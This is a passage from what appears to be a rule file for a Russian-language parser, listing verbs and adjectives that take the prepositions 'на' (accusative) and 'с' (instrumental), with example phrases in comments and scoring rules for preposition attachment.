rus_verbs:высморкаться{}, // высморкаться на землю rus_verbs:высморкнуться{}, // высморкнуться на землю rus_verbs:выставить{}, // выставить на всеобщее обозрение rus_verbs:выставиться{}, // выставиться на всеобщее обозрение rus_verbs:выставлять{}, // выставлять на всеобщее обозрение rus_verbs:выставляться{}, // выставляться на всеобщее обозрение инфинитив:высыпать{вид:соверш}, // высыпать на землю инфинитив:высыпать{вид:несоверш}, глагол:высыпать{вид:соверш}, глагол:высыпать{вид:несоверш}, деепричастие:высыпав{}, деепричастие:высыпая{}, прилагательное:высыпавший{вид:соверш}, //++прилагательное:высыпавший{вид:несоверш}, прилагательное:высыпающий{вид:несоверш}, rus_verbs:высыпаться{}, // высыпаться на землю rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя rus_verbs:вытаращиваться{}, // вытаращиваться на медведя rus_verbs:вытаращить{}, // вытаращить глаза на медведя rus_verbs:вытаращиться{}, // вытаращиться на медведя rus_verbs:вытекать{}, // вытекать на землю rus_verbs:вытечь{}, // вытечь на землю rus_verbs:выучиваться{}, // выучиваться на кого-то rus_verbs:выучиться{}, // выучиться на кого-то rus_verbs:посмотреть{}, // посмотреть на экран rus_verbs:нашить{}, // нашить что-то на одежду rus_verbs:придти{}, // придти на помощь кому-то инфинитив:прийти{}, // прийти на помощь кому-то глагол:прийти{}, деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты. rus_verbs:поднять{}, // поднять на вершину rus_verbs:согласиться{}, // согласиться на ничью rus_verbs:послать{}, // послать на фронт rus_verbs:слать{}, // слать на фронт rus_verbs:надеяться{}, // надеяться на лучшее rus_verbs:крикнуть{}, // крикнуть на шалунов rus_verbs:пройти{}, // пройти на пляж rus_verbs:прислать{}, // прислать на экспертизу rus_verbs:жить{}, // жить на подачки rus_verbs:становиться{}, // становиться на ноги rus_verbs:наслать{}, // наслать на кого-то rus_verbs:принять{}, // принять на заметку rus_verbs:собираться{}, // собираться на экзамен rus_verbs:оставить{}, // оставить на всякий случай rus_verbs:звать{}, // звать на помощь rus_verbs:направиться{}, // направиться на прогулку rus_verbs:отвечать{}, // отвечать на звонки rus_verbs:отправиться{}, // отправиться на прогулку rus_verbs:поставить{}, // поставить на пол rus_verbs:обернуться{}, // обернуться на зов rus_verbs:отозваться{}, // отозваться на просьбу rus_verbs:закричать{}, // закричать на собаку rus_verbs:опустить{}, // опустить на землю rus_verbs:принести{}, // принести на пляж свой жезлонг rus_verbs:указать{}, // указать на дверь rus_verbs:ходить{}, // ходить на занятия rus_verbs:уставиться{}, // уставиться на листок rus_verbs:приходить{}, // приходить на экзамен rus_verbs:махнуть{}, // махнуть на пляж rus_verbs:явиться{}, // явиться на допрос rus_verbs:оглянуться{}, // оглянуться на дорогу rus_verbs:уехать{}, // уехать на заработки rus_verbs:повести{}, // повести на штурм rus_verbs:опуститься{}, // опуститься на колени //rus_verbs:передать{}, // передать на проверку rus_verbs:побежать{}, // побежать на занятия rus_verbs:прибыть{}, // прибыть на место службы rus_verbs:кричать{}, // кричать на медведя rus_verbs:стечь{}, // стечь на землю rus_verbs:обратить{}, // обратить на себя внимание rus_verbs:подать{}, // подать на пропитание rus_verbs:привести{}, // привести на съемки rus_verbs:испытывать{}, // испытывать на животных rus_verbs:перевести{}, // перевести на жену rus_verbs:купить{}, // купить на заемные деньги rus_verbs:собраться{}, // собраться на встречу rus_verbs:заглянуть{}, // заглянуть на огонёк rus_verbs:нажать{}, // нажать на рычаг rus_verbs:поспешить{}, // поспешить на праздник rus_verbs:перейти{}, // перейти на русский язык rus_verbs:поверить{}, // поверить на честное слово rus_verbs:глянуть{}, // глянуть на обложку rus_verbs:зайти{}, // зайти на огонёк rus_verbs:проходить{}, // проходить на сцену rus_verbs:глядеть{}, // глядеть на актрису //rus_verbs:решиться{}, // решиться на прыжок rus_verbs:пригласить{}, // пригласить на танец rus_verbs:позвать{}, // позвать на экзамен rus_verbs:усесться{}, // усесться на стул rus_verbs:поступить{}, // поступить на математический факультет rus_verbs:лечь{}, // лечь на живот rus_verbs:потянуться{}, // потянуться на юг rus_verbs:присесть{}, // присесть на корточки rus_verbs:наступить{}, // наступить на змею rus_verbs:заорать{}, // заорать на попрошаек rus_verbs:надеть{}, // надеть на голову rus_verbs:поглядеть{}, // поглядеть на девчонок rus_verbs:принимать{}, // принимать на гарантийное обслуживание rus_verbs:привезти{}, // привезти на испытания rus_verbs:рухнуть{}, // рухнуть на асфальт rus_verbs:пускать{}, // пускать на корм rus_verbs:отвести{}, // отвести на приём rus_verbs:отправить{}, // отправить на утилизацию rus_verbs:двигаться{}, // двигаться на восток rus_verbs:нести{}, // нести на пляж rus_verbs:падать{}, // падать на руки rus_verbs:откинуться{}, // откинуться на спинку кресла rus_verbs:рявкнуть{}, // рявкнуть на детей rus_verbs:получать{}, // получать на проживание rus_verbs:полезть{}, // полезть на рожон rus_verbs:направить{}, // направить на дообследование rus_verbs:приводить{}, // приводить на проверку rus_verbs:потребоваться{}, // потребоваться на замену rus_verbs:кинуться{}, // кинуться на нападавшего rus_verbs:учиться{}, // учиться на токаря rus_verbs:приподнять{}, // приподнять на один метр rus_verbs:налить{}, // налить на стол rus_verbs:играть{}, // играть на деньги rus_verbs:рассчитывать{}, // рассчитывать на подмогу rus_verbs:шепнуть{}, // шепнуть на ухо rus_verbs:швырнуть{}, // швырнуть на землю rus_verbs:прыгнуть{}, // прыгнуть на оленя rus_verbs:предлагать{}, // предлагать на выбор rus_verbs:садиться{}, // садиться на стул rus_verbs:лить{}, // лить на землю rus_verbs:испытать{}, // испытать на животных rus_verbs:фыркнуть{}, // фыркнуть на детеныша rus_verbs:годиться{}, // мясо годится на фарш rus_verbs:проверить{}, // проверить высказывание на истинность rus_verbs:откликнуться{}, // откликнуться на призывы rus_verbs:полагаться{}, // полагаться на интуицию rus_verbs:покоситься{}, // покоситься на соседа rus_verbs:повесить{}, // повесить на гвоздь инфинитив:походить{вид:соверш}, // походить на занятия глагол:походить{вид:соверш}, деепричастие:походив{}, прилагательное:походивший{}, rus_verbs:помчаться{}, // помчаться на экзамен rus_verbs:ставить{}, // ставить на контроль rus_verbs:свалиться{}, // свалиться на землю rus_verbs:валиться{}, // валиться на землю rus_verbs:подарить{}, // подарить на день рожденья rus_verbs:сбежать{}, // сбежать на необитаемый остров rus_verbs:стрелять{}, // стрелять на поражение rus_verbs:обращать{}, // обращать на себя внимание rus_verbs:наступать{}, // наступать на те же грабли rus_verbs:сбросить{}, // сбросить на землю rus_verbs:обидеться{}, // обидеться на друга rus_verbs:устроиться{}, // устроиться на стажировку rus_verbs:погрузиться{}, // погрузиться на большую глубину rus_verbs:течь{}, // течь на землю rus_verbs:отбросить{}, // отбросить на землю rus_verbs:метать{}, // метать на дно rus_verbs:пустить{}, // пустить на переплавку rus_verbs:прожить{}, // прожить на пособие rus_verbs:полететь{}, // полететь на континент rus_verbs:пропустить{}, // пропустить на сцену rus_verbs:указывать{}, // указывать на ошибку rus_verbs:наткнуться{}, // наткнуться на клад rus_verbs:рвануть{}, // рвануть на юг rus_verbs:ступать{}, // ступать на землю rus_verbs:спрыгнуть{}, // спрыгнуть на берег rus_verbs:заходить{}, // заходить на огонёк rus_verbs:нырнуть{}, // нырнуть на глубину rus_verbs:рвануться{}, // рвануться на свободу rus_verbs:натянуть{}, // натянуть на голову rus_verbs:забраться{}, // забраться на стол rus_verbs:помахать{}, // помахать на прощание rus_verbs:содержать{}, // содержать на спонсорскую помощь rus_verbs:приезжать{}, // приезжать на праздники rus_verbs:проникнуть{}, // проникнуть на территорию rus_verbs:подъехать{}, // подъехать на митинг rus_verbs:устремиться{}, // устремиться на волю rus_verbs:посадить{}, // посадить на стул rus_verbs:ринуться{}, // ринуться на голкипера rus_verbs:подвигнуть{}, // подвигнуть на подвиг rus_verbs:отдавать{}, // отдавать на перевоспитание rus_verbs:отложить{}, // отложить на черный день rus_verbs:убежать{}, // убежать на танцы rus_verbs:поднимать{}, // поднимать на верхний этаж rus_verbs:переходить{}, // переходить на цифровой сигнал rus_verbs:отослать{}, // отослать на переаттестацию rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола rus_verbs:назначить{}, // назначить на должность rus_verbs:осесть{}, // осесть на дно rus_verbs:торопиться{}, // торопиться на экзамен rus_verbs:менять{}, // менять на еду rus_verbs:доставить{}, // доставить на шестой этаж rus_verbs:заслать{}, // заслать на проверку rus_verbs:дуть{}, // дуть на воду rus_verbs:сослать{}, // сослать на каторгу rus_verbs:останавливаться{}, // останавливаться на отдых rus_verbs:сдаваться{}, // сдаваться на милость победителя rus_verbs:сослаться{}, // сослаться на презумпцию невиновности rus_verbs:рассердиться{}, // рассердиться на дочь rus_verbs:кинуть{}, // кинуть на землю rus_verbs:расположиться{}, // расположиться на ночлег rus_verbs:осмелиться{}, // осмелиться на подлог rus_verbs:шептать{}, // шептать на ушко rus_verbs:уронить{}, // уронить на землю rus_verbs:откинуть{}, // откинуть на спинку кресла rus_verbs:перенести{}, // перенести на рабочий стол rus_verbs:сдаться{}, // сдаться на милость победителя rus_verbs:светить{}, // светить на дорогу rus_verbs:мчаться{}, // мчаться на бал rus_verbs:нестись{}, // нестись на свидание rus_verbs:поглядывать{}, // поглядывать на экран rus_verbs:орать{}, // орать на детей rus_verbs:уложить{}, // уложить на лопатки rus_verbs:решаться{}, // решаться на поступок rus_verbs:попадать{}, // попадать на карандаш rus_verbs:сплюнуть{}, // сплюнуть на землю rus_verbs:снимать{}, // снимать на телефон rus_verbs:опоздать{}, // опоздать на работу rus_verbs:посылать{}, // посылать на проверку rus_verbs:погнать{}, // погнать на пастбище rus_verbs:поступать{}, // поступать на кибернетический факультет rus_verbs:спускаться{}, // спускаться на уровень моря rus_verbs:усадить{}, // усадить на диван rus_verbs:проиграть{}, // проиграть на спор rus_verbs:прилететь{}, // прилететь на фестиваль rus_verbs:повалиться{}, // повалиться на спину rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина rus_verbs:задавать{}, // задавать на выходные rus_verbs:запасть{}, // запасть на девочку rus_verbs:лезть{}, // лезть на забор rus_verbs:потащить{}, // потащить на выборы rus_verbs:направляться{}, // направляться на экзамен rus_verbs:определять{}, // определять на вкус rus_verbs:поползти{}, // поползти на стену rus_verbs:поплыть{}, // поплыть на берег rus_verbs:залезть{}, // залезть на яблоню rus_verbs:сдать{}, // сдать на мясокомбинат rus_verbs:приземлиться{}, // приземлиться на дорогу rus_verbs:лаять{}, // лаять на прохожих rus_verbs:перевернуть{}, // перевернуть на бок rus_verbs:ловить{}, // ловить на живца rus_verbs:отнести{}, // отнести животное на хирургический стол rus_verbs:плюнуть{}, // плюнуть на условности rus_verbs:передавать{}, // передавать на проверку rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали инфинитив:рассыпаться{вид:соверш}, глагол:рассыпаться{вид:несоверш}, глагол:рассыпаться{вид:соверш}, деепричастие:рассыпавшись{}, деепричастие:рассыпаясь{}, прилагательное:рассыпавшийся{вид:несоверш}, прилагательное:рассыпавшийся{вид:соверш}, прилагательное:рассыпающийся{}, rus_verbs:зарычать{}, // Медведица зарычала на медвежонка rus_verbs:призвать{}, // призвать на сборы rus_verbs:увезти{}, // увезти на дачу rus_verbs:содержаться{}, // содержаться на пожертвования rus_verbs:навести{}, // навести на скопление телескоп rus_verbs:отправляться{}, // отправляться на утилизацию rus_verbs:улечься{}, // улечься на животик rus_verbs:налететь{}, // налететь на препятствие rus_verbs:перевернуться{}, // перевернуться на спину rus_verbs:улететь{}, // улететь на родину rus_verbs:ложиться{}, // ложиться на бок rus_verbs:класть{}, // класть на место rus_verbs:отреагировать{}, // отреагировать на выступление rus_verbs:доставлять{}, // доставлять на дом rus_verbs:отнять{}, // отнять на благо правящей верхушки rus_verbs:ступить{}, // ступить на землю rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы rus_verbs:унести{}, // унести на работу rus_verbs:сходить{}, // сходить на концерт rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги rus_verbs:соскочить{}, // соскочить на землю rus_verbs:пожаловаться{}, // пожаловаться на соседей rus_verbs:тащить{}, // тащить на замену rus_verbs:замахать{}, // замахать руками на паренька rus_verbs:заглядывать{}, // заглядывать на обед rus_verbs:соглашаться{}, // соглашаться на равный обмен rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик rus_verbs:увести{}, // увести на осмотр rus_verbs:успевать{}, // успевать на контрольную работу rus_verbs:опрокинуть{}, // опрокинуть на себя rus_verbs:подавать{}, // подавать на апелляцию rus_verbs:прибежать{}, // прибежать на вокзал rus_verbs:отшвырнуть{}, // отшвырнуть на замлю rus_verbs:привлекать{}, // привлекать на свою сторону rus_verbs:опереться{}, // опереться на палку rus_verbs:перебраться{}, // перебраться на маленький островок rus_verbs:уговорить{}, // уговорить на новые траты rus_verbs:гулять{}, // гулять на спонсорские деньги rus_verbs:переводить{}, // переводить на другой путь rus_verbs:заколебаться{}, // заколебаться на один миг rus_verbs:зашептать{}, // зашептать на ушко rus_verbs:привстать{}, // привстать на цыпочки rus_verbs:хлынуть{}, // хлынуть на берег rus_verbs:наброситься{}, // наброситься на еду rus_verbs:напасть{}, // повстанцы, напавшие на конвой rus_verbs:убрать{}, // книга, убранная на полку rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию rus_verbs:засматриваться{}, // засматриваться на девчонок rus_verbs:застегнуться{}, // застегнуться на все пуговицы rus_verbs:провериться{}, // провериться на заболевания rus_verbs:проверяться{}, // проверяться на заболевания rus_verbs:тестировать{}, // тестировать на профпригодность rus_verbs:протестировать{}, // протестировать на профпригодность rus_verbs:уходить{}, // отец, уходящий на работу rus_verbs:налипнуть{}, // снег, налипший на провода rus_verbs:налипать{}, // снег, налипающий на провода rus_verbs:улетать{}, // Многие птицы улетают осенью на юг. rus_verbs:поехать{}, // она поехала на встречу с заказчиком rus_verbs:переключать{}, // переключать на резервную линию rus_verbs:переключаться{}, // переключаться на резервную линию rus_verbs:подписаться{}, // подписаться на обновление rus_verbs:нанести{}, // нанести на кожу rus_verbs:нарываться{}, // нарываться на неприятности rus_verbs:выводить{}, // выводить на орбиту rus_verbs:вернуться{}, // вернуться на родину rus_verbs:возвращаться{}, // возвращаться на родину прилагательное:падкий{}, // Он падок на деньги. прилагательное:обиженный{}, // Он обижен на отца. rus_verbs:косить{}, // Он косит на оба глаза. rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок. прилагательное:готовый{}, // Он готов на всякие жертвы. rus_verbs:говорить{}, // Он говорит на скользкую тему. прилагательное:глухой{}, // Он глух на одно ухо. rus_verbs:взять{}, // Он взял ребёнка себе на колени. rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия. rus_verbs:вести{}, // Лестница ведёт на третий этаж. rus_verbs:уполномочивать{}, // уполномочивать на что-либо глагол:спешить{ вид:несоверш }, // Я спешу на поезд. rus_verbs:брать{}, // Я беру всю ответственность на себя. rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление. rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики. rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку. rus_verbs:разбираться{}, // Эта машина разбирается на части. rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние. rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп. rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье. rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно. rus_verbs:делиться{}, // Тридцать делится на пять без остатка. rus_verbs:удаляться{}, // Суд удаляется на совещание. rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север. rus_verbs:сохранить{}, // Сохраните это на память обо мне. rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию. rus_verbs:лететь{}, // Самолёт летит на север. rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров. // rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи. rus_verbs:смотреть{}, // Она смотрит на нас из окна. rus_verbs:отдать{}, // Она отдала мне деньги на сохранение. rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину. rus_verbs:любоваться{}, // гости любовались на картину rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь. прилагательное:действительный{}, // Прививка оспы действительна только на три года. rus_verbs:спуститься{}, // На город спустился смог прилагательное:нечистый{}, // Он нечист на руку. прилагательное:неспособный{}, // Он неспособен на такую низость. прилагательное:злой{}, // кот очень зол на хозяина rus_verbs:пойти{}, // Девочка не пошла на урок физультуры rus_verbs:прибывать{}, // мой поезд прибывает на первый путь rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу rus_verbs:идти{}, // Дело идёт на лад. rus_verbs:лазить{}, // Он лазил на чердак. rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры. // rus_verbs:действовать{}, // действующий на нервы rus_verbs:выходить{}, // Балкон выходит на площадь. rus_verbs:работать{}, // Время работает на нас. глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина. rus_verbs:бросить{}, // Они бросили все силы на строительство. // глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков. rus_verbs:броситься{}, // Она радостно бросилась мне на шею. rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью. rus_verbs:ответить{}, // Она не ответила на мой поклон. rus_verbs:нашивать{}, // Она нашивала заплату на локоть. rus_verbs:молиться{}, // Она молится на свою мать. rus_verbs:запереть{}, // Она заперла дверь на замок. rus_verbs:заявить{}, // Она заявила свои права на наследство. rus_verbs:уйти{}, // Все деньги ушли на путешествие. rus_verbs:вступить{}, // Водолаз вступил на берег. rus_verbs:сойти{}, // Ночь сошла на землю. rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано. rus_verbs:рыдать{}, // Не рыдай так безумно над ним. rus_verbs:подписать{}, // Не забудьте подписать меня на газету. rus_verbs:держать{}, // Наш пароход держал курс прямо на север. rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира. rus_verbs:ехать{}, // Мы сейчас едем на завод. rus_verbs:выбросить{}, // Волнами лодку выбросило на берег. ГЛ_ИНФ(сесть), // сесть на снег ГЛ_ИНФ(записаться), ГЛ_ИНФ(положить) // положи книгу на стол } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: залить на youtube fact гл_предл { if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} } then return true } fact гл_предл { if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } } then return true } // смещаться на несколько миллиметров fact гл_предл { if context { Гл_НА_Вин предлог:на{} наречие:*{} } then return true } // партия взяла на себя нереалистичные обязательства fact гл_предл { if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} } then return true } #endregion ВИНИТЕЛЬНЫЙ // Все остальные варианты с предлогом 'НА' по умолчанию запрещаем. fact гл_предл { if context { * предлог:на{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:вин } } then return false,-4 } // Этот вариант нужен для обработки конструкций с числительными: // Президентские выборы разделили Венесуэлу на два непримиримых лагеря fact гл_предл { if context { * предлог:на{} *:*{ падеж:род } } then return false,-4 } // Продавать на eBay fact гл_предл { if context { * предлог:на{} * } then return false,-6 } #endregion Предлог_НА #region Предлог_С // ------------- ПРЕДЛОГ 'С' ----------------- // У этого предлога предпочтительная семантика привязывает его обычно к существительному. // Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим. #region ТВОРИТЕЛЬНЫЙ wordentry_set Гл_С_Твор={ rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться rus_verbs:забраться{}, rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ) rus_verbs:БИТЬСЯ{}, // rus_verbs:ПОДРАТЬСЯ{}, // прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ) rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ) rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ) rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ) rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ) прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом. rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ) rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ) rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ) rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ) rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ) rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ) rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ) rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ) rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ) rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ) rus_verbs:отправить{}, // вы можете отправить со мной человека rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор) rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С) rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С) прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С) rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С) rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С) rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С) rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С) rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С) rus_verbs:СВЫКАТЬСЯ{}, rus_verbs:стаскиваться{}, rus_verbs:спиливаться{}, rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С) rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор) rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С) rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С) rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С) rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С) rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С) rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С) rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С) rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С) rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С) rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор) rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С) rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С) rus_verbs:согласиться{}, // с этим согласились все (согласиться с) rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор) rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С) rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С) rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор) rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор) rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С) rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С) rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор) rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор) rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор) rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор) rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор) rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор) rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор) rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор) rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор) rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ) rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ) rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много) rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С) rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С) rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С) rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С) rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С) rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор) rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С) rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С) rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С) rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С) rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С) инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара. инфинитив:кристаллизоваться{ вид:несоверш }, глагол:кристаллизоваться{ вид:соверш }, глагол:кристаллизоваться{ вид:несоверш }, rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С) rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С) rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С) rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С) rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С) rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор) rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С) rus_verbs:НЕСТИ{}, // плот 